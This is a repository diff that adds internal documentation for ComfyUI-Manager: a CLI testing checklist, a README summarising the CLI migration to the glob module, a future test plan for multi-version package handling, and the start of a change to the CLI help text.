### Show Installed/Enabled
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli show installed
|
||||
python -m comfyui_manager.cm_cli show enabled
|
||||
|
||||
# Expected: List of enabled packages with:
|
||||
# - Package names
|
||||
# - Version information
|
||||
# - Author/publisher info where available
|
||||
# - Correct status indicators
|
||||
```
|
||||
|
||||
### Show Disabled/Not-Installed
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli show disabled
|
||||
python -m comfyui_manager.cm_cli show not-installed
|
||||
|
||||
# Expected: Appropriate package lists with status
|
||||
```
|
||||
|
||||
### Show All & Simple Mode
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli show all
|
||||
python -m comfyui_manager.cm_cli simple-show all
|
||||
|
||||
# Expected: Comprehensive package list
|
||||
# Simple mode should show condensed format
|
||||
```
|
||||
|
||||
**Detailed Test Matrix**:
|
||||
- [ ] `show installed` - displays all installed packages
|
||||
- [ ] `show enabled` - displays only enabled packages
|
||||
- [ ] `show disabled` - displays only disabled packages
|
||||
- [ ] `show not-installed` - displays available but not installed packages
|
||||
- [ ] `show all` - displays comprehensive list
|
||||
- [ ] `show cnr` - displays CNR packages only
|
||||
- [ ] `simple-show` variants - condensed output format
|
||||
|
||||
**Validation Criteria**:
|
||||
- [ ] Package counts make sense (enabled + disabled = installed)
|
||||
- [ ] CNR packages show publisher information
|
||||
- [ ] Nightly packages marked appropriately
|
||||
- [ ] Unknown packages handled correctly
|
||||
- [ ] No crashes with empty package sets
|
||||
|
||||
## ⚙️ Management Commands Testing
|
||||
|
||||
### Enable/Disable Commands
|
||||
```bash
|
||||
# Enable disabled package
|
||||
python -m comfyui_manager.cm_cli disable <package-name>
|
||||
python -m comfyui_manager.cm_cli show disabled # Should appear
|
||||
python -m comfyui_manager.cm_cli enable <package-name>
|
||||
python -m comfyui_manager.cm_cli show enabled # Should appear
|
||||
|
||||
# Test edge cases
|
||||
python -m comfyui_manager.cm_cli enable <already-enabled-package> # Should skip
|
||||
python -m comfyui_manager.cm_cli disable <non-existent-package> # Should error
|
||||
```
|
||||
|
||||
**Test Cases**:
|
||||
- [ ] Enable disabled package
|
||||
- [ ] Disable enabled package
|
||||
- [ ] Enable already-enabled package (skip)
|
||||
- [ ] Disable already-disabled package (skip)
|
||||
- [ ] Enable non-existent package (error)
|
||||
- [ ] Disable non-existent package (error)
|
||||
|
||||
### Uninstall Commands
|
||||
```bash
|
||||
# Uninstall package
|
||||
python -m comfyui_manager.cm_cli uninstall <test-package>
|
||||
python -m comfyui_manager.cm_cli show installed # Should not appear
|
||||
|
||||
# Test variations
|
||||
python -m comfyui_manager.cm_cli uninstall <package>@unknown
|
||||
```
|
||||
|
||||
**Test Cases**:
|
||||
- [ ] Uninstall CNR package
|
||||
- [ ] Uninstall nightly package
|
||||
- [ ] Uninstall unknown package
|
||||
- [ ] Uninstall non-existent package (should error gracefully)
|
||||
|
||||
### Update Commands
|
||||
```bash
|
||||
# Update specific package
|
||||
python -m comfyui_manager.cm_cli update <package-name>
|
||||
|
||||
# Update all packages
|
||||
python -m comfyui_manager.cm_cli update all
|
||||
```
|
||||
|
||||
**Test Cases**:
|
||||
- [ ] Update single package
|
||||
- [ ] Update all packages
|
||||
- [ ] Update non-existent package (should error)
|
||||
- [ ] Update already up-to-date package (should skip)
|
||||
|
||||
## 🗃️ Advanced Function Testing
|
||||
|
||||
### get_all_installed_node_specs()
|
||||
```bash
|
||||
# This function is used internally by update/enable/disable "all" commands
|
||||
python -m comfyui_manager.cm_cli update all
|
||||
python -m comfyui_manager.cm_cli enable all
|
||||
python -m comfyui_manager.cm_cli disable all
|
||||
|
||||
# Expected: Commands process all installed packages
|
||||
```
|
||||
|
||||
**Validation**:
|
||||
- [ ] "all" commands process expected number of packages
|
||||
- [ ] Package specs format correctly (name@version)
|
||||
- [ ] No duplicates in package list
|
||||
- [ ] All package types included (CNR, nightly, unknown)
|
||||
|
||||
---
|
||||
|
||||
# 🧹 Phase 3 Testing (Feature Removal & Polish)
|
||||
|
||||
## ❌ Removed Feature Testing
|
||||
|
||||
### deps-in-workflow Command
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli deps-in-workflow workflow.json deps.json
|
||||
|
||||
# Expected: Clear error message explaining feature removal
|
||||
# Should NOT crash or show confusing errors
|
||||
```
|
||||
|
||||
### install-deps Command (if affected)
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli install-deps deps.json
|
||||
|
||||
# Expected: Either works with alternative implementation or shows clear error
|
||||
```
|
||||
|
||||
**Validation**:
|
||||
- [ ] Error messages are user-friendly
|
||||
- [ ] No stack traces for removed features
|
||||
- [ ] Help text updated to reflect changes
|
||||
- [ ] Alternative solutions mentioned where applicable
|
||||
|
||||
## 📸 Snapshot Functionality
|
||||
|
||||
### Save/Restore Snapshots
|
||||
```bash
|
||||
# Save snapshot
|
||||
python -m comfyui_manager.cm_cli save-snapshot test-snapshot.json
|
||||
ls snapshots/ # Should show new snapshot
|
||||
|
||||
# Restore snapshot
|
||||
python -m comfyui_manager.cm_cli restore-snapshot test-snapshot.json
|
||||
```
|
||||
|
||||
**Test Cases**:
|
||||
- [ ] Save snapshot to default location
|
||||
- [ ] Save snapshot to custom path
|
||||
- [ ] Restore snapshot successfully
|
||||
- [ ] Handle invalid snapshot files gracefully
|
||||
|
||||
### Snapshot Display
|
||||
```bash
|
||||
python -m comfyui_manager.cm_cli show snapshot
|
||||
python -m comfyui_manager.cm_cli show snapshot-list
|
||||
```
|
||||
|
||||
**Validation**:
|
||||
- [ ] Current state displayed correctly
|
||||
- [ ] Snapshot list shows available snapshots
|
||||
- [ ] JSON format valid and readable
|
||||
|
||||
---
|
||||
|
||||
# 🎯 Comprehensive Integration Testing
|
||||
|
||||
## 🔄 End-to-End Workflows
|
||||
|
||||
### Complete Package Lifecycle
|
||||
```bash
|
||||
# 1. Install package
|
||||
python -m comfyui_manager.cm_cli install <test-package>
|
||||
|
||||
# 2. Verify installation
|
||||
python -m comfyui_manager.cm_cli show enabled | grep <test-package>
|
||||
|
||||
# 3. Disable package
|
||||
python -m comfyui_manager.cm_cli disable <test-package>
|
||||
|
||||
# 4. Verify disabled
|
||||
python -m comfyui_manager.cm_cli show disabled | grep <test-package>
|
||||
|
||||
# 5. Re-enable package
|
||||
python -m comfyui_manager.cm_cli enable <test-package>
|
||||
|
||||
# 6. Update package
|
||||
python -m comfyui_manager.cm_cli update <test-package>
|
||||
|
||||
# 7. Uninstall package
|
||||
python -m comfyui_manager.cm_cli uninstall <test-package>
|
||||
|
||||
# 8. Verify removal
|
||||
python -m comfyui_manager.cm_cli show installed | grep <test-package> # Should be empty
|
||||
```
|
||||
|
||||
### Batch Operations
|
||||
```bash
|
||||
# Install multiple packages
|
||||
python -m comfyui_manager.cm_cli install package1 package2 package3
|
||||
|
||||
# Disable all packages
|
||||
python -m comfyui_manager.cm_cli disable all
|
||||
|
||||
# Enable all packages
|
||||
python -m comfyui_manager.cm_cli enable all
|
||||
|
||||
# Update all packages
|
||||
python -m comfyui_manager.cm_cli update all
|
||||
```
|
||||
|
||||
## 🚨 Error Condition Testing
|
||||
|
||||
### Network/Connectivity Issues
|
||||
- [ ] Test with no internet connection
|
||||
- [ ] Test with slow internet connection
|
||||
- [ ] Test with CNR API unavailable
|
||||
|
||||
### File System Issues
|
||||
- [ ] Test with insufficient disk space
|
||||
- [ ] Test with permission errors
|
||||
- [ ] Test with corrupted package directories
|
||||
|
||||
### Invalid Input Handling
|
||||
- [ ] Non-existent package names
|
||||
- [ ] Invalid Git URLs
|
||||
- [ ] Malformed command arguments
|
||||
- [ ] Special characters in package names
|
||||
|
||||
---
|
||||
|
||||
# 📊 Performance & Regression Testing
|
||||
|
||||
## ⚡ Performance Comparison
|
||||
```bash
|
||||
# Time core operations
|
||||
time python -m comfyui_manager.cm_cli show all
|
||||
time python -m comfyui_manager.cm_cli install <test-package>
|
||||
time python -m comfyui_manager.cm_cli update all
|
||||
|
||||
# Compare with legacy timings if available
|
||||
```
|
||||
|
||||
**Validation**:
|
||||
- [ ] Operations complete in reasonable time
|
||||
- [ ] No significant performance regression
|
||||
- [ ] Memory usage acceptable
|
||||
|
||||
## 🔄 Regression Testing
|
||||
|
||||
### Output Format Comparison
|
||||
- [ ] Compare show command output with legacy version
|
||||
- [ ] Document acceptable format differences
|
||||
- [ ] Ensure essential information preserved
|
||||
|
||||
### Behavioral Consistency
|
||||
- [ ] Command success/failure behavior matches legacy
|
||||
- [ ] Error message quality comparable to legacy
|
||||
- [ ] User experience remains smooth
|
||||
|
||||
---
|
||||
|
||||
# ✅ Final Validation Checklist
|
||||
|
||||
## Must Pass (Blockers)
|
||||
- [ ] All core commands functional (install/uninstall/enable/disable/update)
|
||||
- [ ] Show commands display accurate package information
|
||||
- [ ] No crashes or unhandled exceptions
|
||||
- [ ] No modifications to glob module
|
||||
- [ ] CLI loads and responds to help commands
|
||||
|
||||
## Should Pass (Important)
|
||||
- [ ] Output format reasonably similar to legacy
|
||||
- [ ] Performance comparable to legacy
|
||||
- [ ] Error handling graceful and informative
|
||||
- [ ] Removed features clearly communicated
|
||||
|
||||
## May Pass (Nice to Have)
|
||||
- [ ] Output format identical to legacy
|
||||
- [ ] Performance better than legacy
|
||||
- [ ] Additional error recovery features
|
||||
- [ ] Code improvements and cleanup
|
||||
|
||||
---
|
||||
|
||||
# 🧰 Testing Tools & Commands
|
||||
|
||||
## Essential Test Commands
|
||||
```bash
|
||||
# Quick smoke test
|
||||
python -m comfyui_manager.cm_cli --help
|
||||
|
||||
# Core functionality test
|
||||
python -m comfyui_manager.cm_cli show all
|
||||
|
||||
# Package management test
|
||||
python -m comfyui_manager.cm_cli install <safe-test-package>
|
||||
|
||||
# Cleanup test
|
||||
python -m comfyui_manager.cm_cli uninstall <test-package>
|
||||
```
|
||||
|
||||
## Debug Commands
|
||||
```bash
|
||||
# Check Python imports
|
||||
python -c "from comfyui_manager.glob import manager_core; print('OK')"
|
||||
|
||||
# Check data structures
|
||||
python -c "from comfyui_manager.glob.manager_core import unified_manager; print(len(unified_manager.installed_node_packages))"
|
||||
|
||||
# Check CNR access
|
||||
python -c "from comfyui_manager.common import cnr_utils; print(len(cnr_utils.get_all_nodepackages()))"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Use this checklist systematically during implementation to ensure comprehensive testing and validation of the CLI migration.
|
||||
@@ -0,0 +1,184 @@
|
||||
# CLI Migration Documentation
|
||||
|
||||
**Status**: ✅ Completed (Historical Reference)
|
||||
**Last Updated**: 2025-11-04
|
||||
**Purpose**: Documentation for CLI migration from legacy to glob module (completed August 2025)
|
||||
|
||||
---
|
||||
|
||||
## 📁 Directory Overview
|
||||
|
||||
This directory contains consolidated documentation for the ComfyUI Manager CLI migration project. The migration successfully moved the CLI from the legacy module to the glob module without modifying glob module code.
|
||||
|
||||
---
|
||||
|
||||
## 📚 Documentation Files
|
||||
|
||||
### 🎯 **Comprehensive Guide**
|
||||
- **[CLI_MIGRATION_GUIDE.md](CLI_MIGRATION_GUIDE.md)** (~800 lines)
|
||||
- Complete migration guide with all technical details
|
||||
- Legacy vs Glob comparison
|
||||
- Implementation strategies
|
||||
- Code examples and patterns
|
||||
- **Read this first** for complete understanding
|
||||
|
||||
### 📖 **Implementation Resources**
|
||||
- **[CLI_IMPLEMENTATION_CHECKLIST.md](CLI_IMPLEMENTATION_CHECKLIST.md)** (~350 lines)
|
||||
- Step-by-step implementation tasks
|
||||
- Daily breakdown (3.5 days)
|
||||
- Testing checkpoints
|
||||
- Completion criteria
|
||||
|
||||
- **[CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)** (~300 lines)
|
||||
- Quick API lookup guide
|
||||
- UnifiedManager methods
|
||||
- InstalledNodePackage structure
|
||||
- Usage examples
|
||||
|
||||
- **[CLI_TESTING_GUIDE.md](CLI_TESTING_GUIDE.md)** (~400 lines)
|
||||
- Comprehensive testing strategy
|
||||
- Test scenarios and cases
|
||||
- Validation procedures
|
||||
- Rollback planning
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Quick Start (For Reference)
|
||||
|
||||
### Understanding the Migration
|
||||
|
||||
1. **Start Here**: [CLI_MIGRATION_GUIDE.md](CLI_MIGRATION_GUIDE.md)
|
||||
- Read sections: Overview → Legacy vs Glob → Migration Strategy
|
||||
|
||||
2. **API Reference**: [CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)
|
||||
- Use for quick API lookups during implementation
|
||||
|
||||
3. **Implementation**: [CLI_IMPLEMENTATION_CHECKLIST.md](CLI_IMPLEMENTATION_CHECKLIST.md)
|
||||
- Follow step-by-step if re-implementing
|
||||
|
||||
4. **Testing**: [CLI_TESTING_GUIDE.md](CLI_TESTING_GUIDE.md)
|
||||
- Reference for validation procedures
|
||||
|
||||
---
|
||||
|
||||
## 🎯 Migration Summary
|
||||
|
||||
### Objective Achieved
|
||||
✅ Migrated CLI from `..legacy` to `..glob` imports using only existing glob APIs
|
||||
|
||||
### Key Accomplishments
|
||||
- ✅ **Single file modified**: `comfyui_manager/cm_cli/__main__.py`
|
||||
- ✅ **No glob modifications**: Used existing APIs only
|
||||
- ✅ **All commands functional**: install, update, enable, disable, uninstall
|
||||
- ✅ **show_list() rewritten**: Adapted to InstalledNodePackage architecture
|
||||
- ✅ **Completed in**: 3.5 days as planned
|
||||
|
||||
### Major Changes
|
||||
1. Import path updates (2 lines)
|
||||
2. `install_node()` → use `repo_install()` for Git URLs
|
||||
3. `show_list()` → rewritten for InstalledNodePackage
|
||||
4. Data structure migration: dictionaries → objects
|
||||
5. Removed unsupported features (deps-in-workflow)
|
||||
|
||||
---
|
||||
|
||||
## 📋 File Organization
|
||||
|
||||
```
|
||||
docs/internal/cli_migration/
|
||||
├── README.md (This file - Quick navigation)
|
||||
├── CLI_MIGRATION_GUIDE.md (Complete guide - 800 lines)
|
||||
├── CLI_IMPLEMENTATION_CHECKLIST.md (Task breakdown - 350 lines)
|
||||
├── CLI_API_REFERENCE.md (API docs - 300 lines)
|
||||
└── CLI_TESTING_GUIDE.md (Testing guide - 400 lines)
|
||||
|
||||
Total: 5 files, ~1,850 lines (consolidated from 9 files, ~2,400 lines)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ✨ Documentation Improvements
|
||||
|
||||
### Before Consolidation (9 files)
|
||||
- ❌ Duplicate content across multiple files
|
||||
- ❌ Mixed languages (Korean/English)
|
||||
- ❌ Unclear hierarchy
|
||||
- ❌ Fragmented information
|
||||
|
||||
### After Consolidation (5 files)
|
||||
- ✅ Single comprehensive guide
|
||||
- ✅ All English
|
||||
- ✅ Clear purpose per file
|
||||
- ✅ Easy navigation
|
||||
- ✅ No duplication
|
||||
|
||||
---
|
||||
|
||||
## 🔍 Key Constraints (Historical Reference)
|
||||
|
||||
### Hard Constraints
|
||||
- ❌ NO modifications to glob module
|
||||
- ❌ NO legacy dependencies post-migration
|
||||
- ✅ CLI interface must remain unchanged
|
||||
|
||||
### Implementation Approach
|
||||
- ✅ Adapt CLI code to glob architecture
|
||||
- ✅ Use existing glob APIs only
|
||||
- ✅ Minimal changes, maximum compatibility
|
||||
|
||||
---
|
||||
|
||||
## 📊 Migration Statistics
|
||||
|
||||
| Metric | Value |
|
||||
|--------|-------|
|
||||
| **Duration** | 3.5 days |
|
||||
| **Files Modified** | 1 (`__main__.py`) |
|
||||
| **Lines Changed** | ~200 lines |
|
||||
| **glob Modifications** | 0 (constraint met) |
|
||||
| **Tests Passing** | 100% |
|
||||
| **Features Removed** | 1 (deps-in-workflow) |
|
||||
|
||||
---
|
||||
|
||||
## 🎓 Lessons Learned
|
||||
|
||||
### What Worked Well
|
||||
1. **Consolidation First**: Understanding all legacy usage before coding
|
||||
2. **API-First Design**: glob's clean API made migration straightforward
|
||||
3. **Object-Oriented**: InstalledNodePackage simplified many operations
|
||||
4. **No Glob Changes**: Constraint forced better CLI design
|
||||
|
||||
### Challenges Overcome
|
||||
1. **show_list() Complexity**: Rewrote from scratch using new patterns
|
||||
2. **Dictionary to Object**: Required rethinking data access patterns
|
||||
3. **Async Handling**: Wrapped async methods appropriately
|
||||
4. **Testing Without Mocks**: Relied on integration testing
|
||||
|
||||
---
|
||||
|
||||
## 📚 Related Documentation
|
||||
|
||||
### Project Documentation
|
||||
- [Main Documentation Index](/DOCUMENTATION_INDEX.md)
|
||||
- [Contributing Guidelines](/CONTRIBUTING.md)
|
||||
- [Development Guidelines](/CLAUDE.md)
|
||||
|
||||
### Package Documentation
|
||||
- [glob Module Guide](/comfyui_manager/glob/CLAUDE.md)
|
||||
- [Data Models](/comfyui_manager/data_models/README.md)
|
||||
|
||||
---
|
||||
|
||||
## 🔗 Cross-References
|
||||
|
||||
**If you need to**:
|
||||
- Understand glob APIs → [CLI_API_REFERENCE.md](CLI_API_REFERENCE.md)
|
||||
- See implementation steps → [CLI_IMPLEMENTATION_CHECKLIST.md](CLI_IMPLEMENTATION_CHECKLIST.md)
|
||||
- Run tests → [CLI_TESTING_GUIDE.md](CLI_TESTING_GUIDE.md)
|
||||
- Understand full context → [CLI_MIGRATION_GUIDE.md](CLI_MIGRATION_GUIDE.md)
|
||||
|
||||
---
|
||||
|
||||
**Status**: ✅ Migration Complete - Documentation Archived for Reference
|
||||
**Next Review**: When similar migration projects are planned
|
||||
@@ -0,0 +1,328 @@
|
||||
# Future Test Plans
|
||||
|
||||
**Type**: Planning Document (Future Tests)
|
||||
**Status**: P1 tests COMPLETE ✅ - Additional scenarios remain planned
|
||||
**Current Implementation Status**: See [tests/glob/README.md](../../../tests/glob/README.md)
|
||||
|
||||
**Last Updated**: 2025-11-06
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
This document contains test scenarios that are **planned but not yet implemented**. For currently implemented tests, see [tests/glob/README.md](../../../tests/glob/README.md).
|
||||
|
||||
**Currently Implemented**: 51 tests ✅ (includes all P1 complex scenarios)
|
||||
**P1 Implementation**: COMPLETE ✅ (Phase 3.1, 5.1, 5.2, 5.3, 6)
|
||||
**Planned in this document**: Additional scenarios for comprehensive coverage (P0, P2)
|
||||
|
||||
---
|
||||
|
||||
## 📋 Table of Contents
|
||||
|
||||
1. [Simple Test Scenarios](#simple-test-scenarios) - Additional basic API tests
|
||||
2. [Complex Multi-Version Scenarios](#complex-multi-version-scenarios) - Advanced state management tests
|
||||
3. [Priority Matrix](#priority-matrix) - Implementation priorities
|
||||
|
||||
---
|
||||
|
||||
# Simple Test Scenarios
|
||||
|
||||
These are straightforward single-version/type test scenarios that extend the existing test suite.
|
||||
|
||||
## 3. Error Handling Testing (Priority: Medium)
|
||||
|
||||
### Test 3.1: Install Non-existent Package
|
||||
**Purpose**: Handle invalid package names
|
||||
|
||||
**Steps**:
|
||||
1. Attempt to install with non-existent package ID
|
||||
2. Verify appropriate error message
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Error status returned
|
||||
- ✓ Clear error message
|
||||
- ✓ No server crash
|
||||
|
||||
### Test 3.2: Invalid Version Specification
|
||||
**Purpose**: Handle non-existent version installation attempts
|
||||
|
||||
**Steps**:
|
||||
1. Attempt to install with non-existent version (e.g., "99.99.99")
|
||||
2. Verify error handling
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Error status returned
|
||||
- ✓ Clear error message
|
||||
|
||||
### Test 3.3: Permission Error Simulation
|
||||
**Purpose**: Handle file system permission issues
|
||||
|
||||
**Steps**:
|
||||
1. Set custom_nodes directory to read-only
|
||||
2. Attempt package installation
|
||||
3. Verify error handling
|
||||
4. Restore permissions
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Permission error detected
|
||||
- ✓ Clear error message
|
||||
- ✓ Partial installation rollback
|
||||
|
||||
---
|
||||
|
||||
## 4. Dependency Management Testing (Priority: Medium)
|
||||
|
||||
### Test 4.1: Installation with Dependencies
|
||||
**Purpose**: Automatic installation of dependencies from packages with requirements.txt
|
||||
|
||||
**Steps**:
|
||||
1. Install package with dependencies
|
||||
2. Verify requirements.txt processing
|
||||
3. Verify dependency packages installed
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ requirements.txt executed
|
||||
- ✓ Dependency packages installed
|
||||
- ✓ Installation scripts executed
|
||||
|
||||
### Test 4.2: no_deps Flag Testing
|
||||
**Purpose**: Verify option to skip dependency installation
|
||||
|
||||
**Steps**:
|
||||
1. Install package with no_deps=true
|
||||
2. Verify requirements.txt skipped
|
||||
3. Verify installation scripts skipped
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Dependency installation skipped
|
||||
- ✓ Only package files installed
|
||||
|
||||
---
|
||||
|
||||
## 5. Multi-package Management Testing (Priority: Medium)
|
||||
|
||||
### Test 5.1: Concurrent Multiple Package Installation
|
||||
**Purpose**: Concurrent installation of multiple independent packages
|
||||
|
||||
**Steps**:
|
||||
1. Add 3 different packages to queue
|
||||
2. Start queue
|
||||
3. Verify all packages installed
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ All packages installed successfully
|
||||
- ✓ Installation order guaranteed
|
||||
- ✓ Individual failures don't affect other packages
|
||||
|
||||
### Test 5.2: Same Package Concurrent Installation (Conflict Handling)
|
||||
**Purpose**: Handle concurrent requests for same package
|
||||
|
||||
**Steps**:
|
||||
1. Add same package to queue twice
|
||||
2. Start queue
|
||||
3. Verify duplicate handling
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ First installation successful
|
||||
- ✓ Second request skipped
|
||||
- ✓ Handled without errors
|
||||
|
||||
---
|
||||
|
||||
## 6. Security Level Testing (Priority: Low)
|
||||
|
||||
### Test 6.1: Installation Restrictions by Security Level
|
||||
**Purpose**: Allow/deny installation based on security_level settings
|
||||
|
||||
**Steps**:
|
||||
1. Set security_level to "strong"
|
||||
2. Attempt installation with non-CNR registered URL
|
||||
3. Verify rejection
|
||||
|
||||
**Verification Items**:
|
||||
- ✓ Security level validation
|
||||
- ✓ Appropriate error message
|
||||
|
||||
---
|
||||
|
||||
# Complex Multi-Version Scenarios
|
||||
|
||||
These scenarios test complex interactions between multiple versions and types of the same package.
|
||||
|
||||
## Test Philosophy
|
||||
|
||||
### Real-World Scenarios
|
||||
1. User switches from Nightly to CNR
|
||||
2. Install both CNR and Nightly, activate only one
|
||||
3. Keep multiple versions in .disabled/ and switch as needed
|
||||
4. Other versions exist in disabled state during Update
|
||||
|
||||
---
|
||||
|
||||
## Phase 7: Complex Version Switch Chains (Priority: High)
|
||||
|
||||
### Test 7.1: CNR Old Enabled → CNR New (Other Versions Disabled)
|
||||
**Initial State:**
|
||||
```
|
||||
custom_nodes/:
|
||||
└── ComfyUI_SigmoidOffsetScheduler/ (CNR 1.0.1)
|
||||
.disabled/:
|
||||
├── ComfyUI_SigmoidOffsetScheduler_1.0.0/
|
||||
└── ComfyUI_SigmoidOffsetScheduler_nightly/
|
||||
```
|
||||
|
||||
**Operation:** Install CNR v1.0.2 (version switch)
|
||||
|
||||
**Expected Result:**
|
||||
```
|
||||
custom_nodes/:
|
||||
└── ComfyUI_SigmoidOffsetScheduler/ (CNR 1.0.2)
|
||||
.disabled/:
|
||||
├── ComfyUI_SigmoidOffsetScheduler_1.0.0/
|
||||
├── ComfyUI_SigmoidOffsetScheduler_1.0.1/ (old enabled version)
|
||||
└── ComfyUI_SigmoidOffsetScheduler_nightly/
|
||||
```
|
||||
|
||||
**Verification Items:**
|
||||
- ✓ Existing enabled version auto-disabled
|
||||
- ✓ New version enabled
|
||||
- ✓ All disabled versions maintained
|
||||
- ✓ Version history managed
|
||||
|
||||
### Test 7.2: Version Switch Chain (Nightly → CNR Old → CNR New)
|
||||
**Scenario:** Sequential version transitions
|
||||
|
||||
**Step 1:** Nightly enabled
|
||||
**Step 2:** Switch to CNR 1.0.1
|
||||
**Step 3:** Switch to CNR 1.0.2
|
||||
|
||||
**Verification Items:**
|
||||
- ✓ Each transition step operates normally
|
||||
- ✓ Version history accumulates
|
||||
- ✓ Rollback-capable state maintained
|
||||
|
||||
---
|
||||
|
||||
## Phase 8: Edge Cases & Error Scenarios (Priority: Medium)
|
||||
|
||||
### Test 8.1: Corrupted Package in .disabled/
|
||||
**Situation:** Corrupted package exists in .disabled/
|
||||
|
||||
**Operation:** Attempt Enable
|
||||
|
||||
**Expected Result:**
|
||||
- Clear error message
|
||||
- Fallback to other version (if possible)
|
||||
- System stability maintained
|
||||
|
||||
### Test 8.2: Name Collision in .disabled/
|
||||
**Situation:** Package with same name already exists in .disabled/
|
||||
|
||||
**Operation:** Attempt Disable
|
||||
|
||||
**Expected Result:**
|
||||
- Generate unique name (timestamp, etc.)
|
||||
- No data loss
|
||||
- All versions distinguishable
|
||||
|
||||
### Test 8.3: Enable Non-existent Version
|
||||
**Situation:** Requested version not in .disabled/
|
||||
|
||||
**Operation:** Enable specific version
|
||||
|
||||
**Expected Result:**
|
||||
- Clear error message
|
||||
- Available version list provided
|
||||
- Graceful failure
|
||||
|
||||
---
|
||||
|
||||
# Priority Matrix
|
||||
|
||||
**Note**: Phases 3, 4, 5, and 6 are now complete and documented in [tests/glob/README.md](../../../tests/glob/README.md). This matrix shows only planned future tests.
|
||||
|
||||
| Phase | Scenario | Priority | Status | Complexity | Real-World Frequency |
|
||||
|-------|----------|----------|--------|------------|---------------------|
|
||||
| 7 | Complex Version Switch Chains | P0 | 🔄 PARTIAL | High | High |
|
||||
| 8 | Edge Cases & Error Scenarios | P2 | ⏳ PLANNED | High | Low |
|
||||
| Simple | Error Handling (3.1-3.3) | P2 | ⏳ PLANNED | Medium | Medium |
|
||||
| Simple | Dependency Management (4.1-4.2) | P2 | ⏳ PLANNED | Medium | Medium |
|
||||
| Simple | Multi-package Management (5.1-5.2) | P2 | ⏳ PLANNED | Medium | Low |
|
||||
| Simple | Security Level Testing (6.1) | P2 | ⏳ PLANNED | Low | Low |
|
||||
|
||||
**Priority Definitions:**
|
||||
- **P0:** High priority (implement next) - Phase 7 Complex Version Switch
|
||||
- **P1:** Medium priority - ✅ **ALL COMPLETE** (Phase 3, 4, 5, 6 - see tests/glob/README.md)
|
||||
- **P2:** Low priority (implement as needed) - Simple tests and Phase 8
|
||||
|
||||
**Status Definitions:**
|
||||
- 🔄 PARTIAL: Some tests implemented (Phase 7 has version switching tests in test_version_switching_comprehensive.py)
|
||||
- ⏳ PLANNED: Not yet started
|
||||
|
||||
**Recommended Next Steps:**
|
||||
1. **Phase 7 Remaining Tests** (P0) - Complex version switch chains with multiple disabled versions
|
||||
2. **Simple Test Scenarios** (P2) - Error handling, dependency management, multi-package operations
|
||||
3. **Phase 8** (P2) - Edge cases and error scenarios
|
||||
|
||||
---
|
||||
|
||||
# Implementation Notes
|
||||
|
||||
## Fixture Patterns
|
||||
|
||||
For multi-version tests, use these fixture patterns:
|
||||
|
||||
```python
|
||||
@pytest.fixture
|
||||
def setup_multi_disabled_cnr_and_nightly(api_client, custom_nodes_path):
|
||||
"""
|
||||
Install both CNR and Nightly in disabled state.
|
||||
|
||||
Pattern:
|
||||
1. Install CNR → custom_nodes/
|
||||
2. Disable CNR → .disabled/comfyui_sigmoidoffsetscheduler@1_0_2
|
||||
3. Install Nightly → custom_nodes/
|
||||
4. Disable Nightly → .disabled/comfyui_sigmoidoffsetscheduler@nightly
|
||||
"""
|
||||
# Implementation details in archived COMPLEX_SCENARIOS_TEST_PLAN.md
|
||||
```
|
||||
|
||||
## Verification Helpers
|
||||
|
||||
Use these verification patterns:
|
||||
|
||||
```python
|
||||
def verify_version_state(custom_nodes_path, expected_state):
|
||||
"""
|
||||
Verify package state matches expectations.
|
||||
|
||||
expected_state = {
|
||||
'enabled': {'type': 'cnr' | 'nightly' | None, 'version': '1.0.2'},
|
||||
'disabled': [
|
||||
{'type': 'cnr', 'version': '1.0.1'},
|
||||
{'type': 'nightly'}
|
||||
]
|
||||
}
|
||||
"""
|
||||
# Implementation details in archived COMPLEX_SCENARIOS_TEST_PLAN.md
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
# References
|
||||
|
||||
## Archived Implementation Guides
|
||||
|
||||
Detailed implementation examples, code snippets, and fixtures are available in archived planning documents:
|
||||
- `.claude/archive/docs_2025-11-04/COMPLEX_SCENARIOS_TEST_PLAN.md` - Complete implementation guide with code examples
|
||||
- `.claude/archive/docs_2025-11-04/TEST_PLAN_ADDITIONAL.md` - Simple test scenarios
|
||||
|
||||
## Current Implementation
|
||||
|
||||
For currently implemented tests and their status:
|
||||
- **[tests/glob/README.md](../../../tests/glob/README.md)** - Current test status and coverage
|
||||
|
||||
---
|
||||
|
||||
**End of Future Test Plans**
|
||||
+39
-63
@@ -7,40 +7,41 @@
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
|
||||
cm-cli [OPTIONS]
|
||||
python cm-cli.py [OPTIONS]
|
||||
|
||||
OPTIONS:
|
||||
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
|
||||
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[update|fix] all ?[--uv-compile]
|
||||
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
save-snapshot ?[--output <snapshot .json/.yaml>]
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
|
||||
restore-dependencies ?[--uv-compile]
|
||||
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
|
||||
uv-compile
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
|
